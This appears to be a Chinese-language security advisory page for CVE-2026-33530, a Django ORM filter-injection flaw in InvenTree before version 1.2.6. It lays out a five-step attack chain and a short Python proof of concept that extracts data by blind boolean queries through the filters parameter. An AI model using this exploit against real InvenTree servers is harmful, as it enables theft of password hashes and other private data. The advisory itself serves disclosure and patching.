IPBUF安全漏洞报告
English
CVE-2026-33530 CVSS 7.7 高危

CVE-2026-33530 InvenTree信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33530
漏洞类型
SQL注入
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
InvenTree

相关标签

SQL注入信息泄露InvenTreeDjango ORMCWE-943

漏洞概述

InvenTree开源库存管理系统在1.2.6版本之前的特定API端点存在高危漏洞。由于未对批量操作中的filters参数进行严格的字段白名单限制,经过身份认证的攻击者可利用Django ORM特有的双下划线语法遍历模型关系,执行盲布尔数据提取,直接导致数据库敏感信息泄露。

技术细节

该漏洞的根本原因在于InvenTree后端在处理批量数据请求时,将用户可控的`filters`参数直接解包并传递给Django ORM的`queryset.filter(**filters)`方法,且缺乏必要的字段白名单校验机制。Django ORM允许使用双下划线(`__`)语法来连接模型并访问关联字段。攻击者只需经过低权限认证,即可利用此特性构造恶意请求,通过盲布尔注入技术(观察响应状态码或长度变化)逐位推断出数据库中任意字段的值。这种方式可绕过应用层的数据访问控制,导致用户密码哈希、内部配置等敏感信息被窃取。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个低权限的InvenTree账户。
STEP 2
步骤2
识别存在漏洞的批量操作API端点,如/api/part/或/api/stock/。
STEP 3
步骤3
构造包含Django ORM双下划线语法的恶意filters参数,尝试遍历模型关系。
STEP 4
步骤4
发送请求并根据API响应的差异(如返回结果数量、状态码)进行盲注推断。
STEP 5
步骤5
逐字节提取数据库中的敏感信息(如用户哈希、密钥等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-33530: Blind Boolean-based Data Extraction via Django ORM # Target endpoint example url = "http://target-domain/api/part/" # Headers with low-privilege authentication token headers = { "Authorization": "Token <LOW_PRIV_TOKEN>", "Content-Type": "application/json" } # Malicious payload using Django ORM double underscore syntax # Attempting to traverse relationships to check sensitive data (e.g., User model) # Example: Checking if a user email starts with 'a' payload = { "filters": "owner__email__startswith=a" } response = requests.get(url, headers=headers, params=payload) if response.status_code == 200: # If results are returned, the condition is True data = response.json() if data: print(f"[+] Condition TRUE: Data found matching filter.") else: print("[-] Condition FALSE: No data found.") else: print(f"Request failed with status code: {response.status_code}")

影响范围

InvenTree < 1.2.6

防御指南

临时缓解措施
目前无已知的临时缓解措施,建议立即升级至修复版本以修补漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表